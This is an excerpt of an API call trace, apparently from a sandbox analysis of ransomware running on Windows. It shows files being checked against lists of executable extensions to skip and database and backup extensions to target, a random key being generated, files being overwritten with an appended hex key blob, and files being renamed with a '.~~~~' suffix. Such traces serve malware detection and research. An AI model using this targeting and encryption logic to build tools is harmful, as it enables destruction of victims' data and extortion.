	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.676] lstrlenW (lpString=".ckp") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.676] lstrlenW (lpString=".dbt") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.676] lstrlenW (lpString=".db") returned 3
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.676] lstrlenW (lpString=".TXT") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.676] lstrlenW (lpString=".MDF") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.676] lstrlenW (lpString=".bdb") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.676] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.676] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.677] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.677] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.677] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20566745036) returned 1
	[0085.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ce196f0, dwHighDateTime=0x1d60e1e)) 
	[0085.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd28
	[0085.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd28 | out: hHeap=0x300000) returned 1
	[0085.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abb58
	[0085.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0085.678] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.678] GetLastError () returned 0x0
	[0085.678] GetLastError () returned 0x0
	[0085.678] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.678] GetLastError () returned 0x0
	[0085.678] GetLastError () returned 0x0
	[0085.807] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc287, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.819] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3d79, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3d79, lpOverlapped=0x0) returned 1
	[0085.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.819] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.819] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.819] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.838] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.838] CloseHandle (hObject=0x11c) returned 1
	[0085.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fb90
	[0085.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.~~~~")) returned 1
	[0085.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fb90 | out: hHeap=0x300000) returned 1
	[0085.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.884] GetLastError () returned 0x0
	[0085.885] RtlWakeConditionVariable () returned 0x365f70
	[0085.885] GetCurrentThreadId () returned 0xaf0
	[0085.885] GetCurrentThreadId () returned 0xaf0
	[0085.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0085.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baa48 | out: hHeap=0x300000) returned 1
	[0085.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6198 | out: hHeap=0x300000) returned 1
	[0085.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baa48
	[0085.885] lstrlenW (lpString=".scr") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".scr") returned 0x0
	[0085.885] lstrlenW (lpString=".cmd") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".cmd") returned 0x0
	[0085.885] lstrlenW (lpString=".dll") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dll") returned 0x0
	[0085.885] lstrlenW (lpString=".bat") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".bat") returned 0x0
	[0085.885] lstrlenW (lpString=".cpl") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".cpl") returned 0x0
	[0085.885] lstrlenW (lpString=".sys") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".sys") returned 0x0
	[0085.885] lstrlenW (lpString=".msc") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".msc") returned 0x0
	[0085.885] lstrlenW (lpString=".com") returned 4
	[0085.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".com") returned 0x0
	[0085.886] lstrlenW (lpString=".lnk") returned 4
	[0085.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".lnk") returned 0x0
	[0085.886] lstrlenW (lpString=".msp") returned 4
	[0085.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".msp") returned 0x0
	[0085.886] lstrlenW (lpString=".pif") returned 4
	[0085.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".pif") returned 0x0
	[0085.886] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0086.055] lstrlenW (lpString=".sqb") returned 4
	[0086.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".sqb") returned 0x0
	[0086.055] lstrlenW (lpString=".ost") returned 4
	[0086.055] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".ost") returned 0x0
	[0086.056] lstrlenW (lpString=".txt") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".txt") returned 0x0
	[0086.056] lstrlenW (lpString=".mdt") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".mdt") returned 0x0
	[0086.056] lstrlenW (lpString=".BDB") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".BDB") returned 0x0
	[0086.056] lstrlenW (lpString=".eql") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".eql") returned 0x0
	[0086.056] lstrlenW (lpString=".DBF") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DBF") returned 0x0
	[0086.056] lstrlenW (lpString=".EQL") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".EQL") returned 0x0
	[0086.056] lstrlenW (lpString=".FDB") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".FDB") returned 0x0
	[0086.056] lstrlenW (lpString=".EDB") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".EDB") returned 0x0
	[0086.056] lstrlenW (lpString=".DACPAC") returned 7
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DACPAC") returned 0x0
	[0086.056] lstrlenW (lpString=".VHD") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".VHD") returned 0x0
	[0086.056] lstrlenW (lpString=".DBV") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DBV") returned 0x0
	[0086.056] lstrlenW (lpString=".dacpac") returned 7
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dacpac") returned 0x0
	[0086.056] lstrlenW (lpString=".sdf") returned 4
	[0086.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".sdf") returned 0x0
	[0086.056] lstrlenW (lpString=".accdb") returned 6
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".accdb") returned 0x0
	[0086.057] lstrlenW (lpString=".DBX") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DBX") returned 0x0
	[0086.057] lstrlenW (lpString=".MDT") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".MDT") returned 0x0
	[0086.057] lstrlenW (lpString=".SQB") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".SQB") returned 0x0
	[0086.057] lstrlenW (lpString=".vhd") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".vhd") returned 0x0
	[0086.057] lstrlenW (lpString=".bac") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".bac") returned 0x0
	[0086.057] lstrlenW (lpString=".mdf") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".mdf") returned 0x0
	[0086.057] lstrlenW (lpString=".BAK") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".BAK") returned 0x0
	[0086.057] lstrlenW (lpString=".BAC") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".BAC") returned 0x0
	[0086.057] lstrlenW (lpString=".dbs") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dbs") returned 0x0
	[0086.057] lstrlenW (lpString=".vhdx") returned 5
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".vhdx") returned 0x0
	[0086.057] lstrlenW (lpString=".NDF") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".NDF") returned 0x0
	[0086.057] lstrlenW (lpString=".dat") returned 4
	[0086.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dat") returned 0x0
	[0086.057] lstrlenW (lpString=".DBS") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DBS") returned 0x0
	[0086.058] lstrlenW (lpString=".CKP") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".CKP") returned 0x0
	[0086.058] lstrlenW (lpString=".edb") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".edb") returned 0x0
	[0086.058] lstrlenW (lpString=".PST") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".PST") returned 0x0
	[0086.058] lstrlenW (lpString=".dbf") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dbf") returned 0x0
	[0086.058] lstrlenW (lpString=".SQL") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".SQL") returned 0x0
	[0086.058] lstrlenW (lpString=".pst") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".pst") returned 0x0
	[0086.058] lstrlenW (lpString=".dbv") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dbv") returned 0x0
	[0086.058] lstrlenW (lpString=".SDF") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".SDF") returned 0x0
	[0086.058] lstrlenW (lpString=".dtxs") returned 5
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dtxs") returned 0x0
	[0086.058] lstrlenW (lpString=".db3") returned 4
	[0086.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".db3") returned 0x0
	[0086.059] lstrlenW (lpString=".OST") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".OST") returned 0x0
	[0086.059] lstrlenW (lpString=".dbx") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dbx") returned 0x0
	[0086.059] lstrlenW (lpString=".DB3") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DB3") returned 0x0
	[0086.059] lstrlenW (lpString=".DAT") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DAT") returned 0x0
	[0086.059] lstrlenW (lpString=".VHDX") returned 5
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".VHDX") returned 0x0
	[0086.059] lstrlenW (lpString=".ndf") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".ndf") returned 0x0
	[0086.059] lstrlenW (lpString=".DB") returned 3
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DB") returned 0x0
	[0086.059] lstrlenW (lpString=".sql") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".sql") returned 0x0
	[0086.059] lstrlenW (lpString=".MYD") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".MYD") returned 0x0
	[0086.059] lstrlenW (lpString=".DBT") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DBT") returned 0x0
	[0086.059] lstrlenW (lpString=".ACCDB") returned 6
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".ACCDB") returned 0x0
	[0086.059] lstrlenW (lpString=".fdb") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".fdb") returned 0x0
	[0086.059] lstrlenW (lpString=".bak") returned 4
	[0086.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".bak") returned 0x0
	[0086.059] lstrlenW (lpString=".myd") returned 4
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".myd") returned 0x0
	[0086.060] lstrlenW (lpString=".DTXS") returned 5
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".DTXS") returned 0x0
	[0086.060] lstrlenW (lpString=".ckp") returned 4
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".ckp") returned 0x0
	[0086.060] lstrlenW (lpString=".dbt") returned 4
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".dbt") returned 0x0
	[0086.060] lstrlenW (lpString=".db") returned 3
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".db") returned 0x0
	[0086.060] lstrlenW (lpString=".TXT") returned 4
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".TXT") returned 0x0
	[0086.060] lstrlenW (lpString=".MDF") returned 4
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".MDF") returned 0x0
	[0086.060] lstrlenW (lpString=".bdb") returned 4
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".bdb") returned 0x0
	[0086.060] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.060] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.061] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.061] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.062] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20605165226) returned 1
	[0086.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d1d1950, dwHighDateTime=0x1d60e1e)) 
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28076b8
